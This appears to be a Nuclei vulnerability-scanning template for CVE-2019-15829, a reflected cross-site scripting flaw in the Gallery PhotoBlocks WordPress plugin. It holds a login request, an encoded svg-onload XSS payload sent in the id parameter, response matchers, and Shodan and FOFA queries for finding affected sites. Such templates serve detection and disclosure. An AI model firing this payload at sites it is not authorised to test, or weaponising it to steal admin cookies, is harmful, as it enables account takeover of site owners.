Gallery Photoblocks < 1.1.43 - Cross-Site Scripting

id: CVE-2019-15829

info:
  name: Gallery Photoblocks < 1.1.43 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Gallery PhotoBlocks WordPress plugin was affected by an Authenticated Reflected XSS security vulnerability.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the id parameter, potentially stealing admin session cookies or performing privileged actions on behalf of administrators.
  remediation: Fixed in 1.1.43
  reference:
    - https://wpscan.com/vulnerability/b8d1d88e-f2e5-4212-af34-c91f563f07b6/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15829
    - https://wordpress.org/plugins/photoblocks-grid-gallery/
    - https://wordpress.org/plugins/photoblocks-grid-gallery/#developers
    - https://wpvulndb.com/vulnerabilities/9443
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2019-15829
    cwe-id: CWE-79
    epss-score: 0.0118
    epss-percentile: 0.67943
    cpe: cpe:2.3:a:greentreelabs:gallery_photoblocks:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: greentreelabs
    product: gallery_photoblocks
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/photoblocks-grid-gallery/
    fofa-query: body=/wp-content/plugins/photoblocks-grid-gallery/
    publicwww-query: "/wp-content/plugins/photoblocks-grid-gallery/"
  tags: cve,cve2019,wp,wordpress,wp-plugin,photoblocks-gallery,xss,authenticated,wpscan,greentreelabs,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=photoblocks-edit&id=%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>")'
          - 'contains(body_2, "post galleries!")'
        condition: and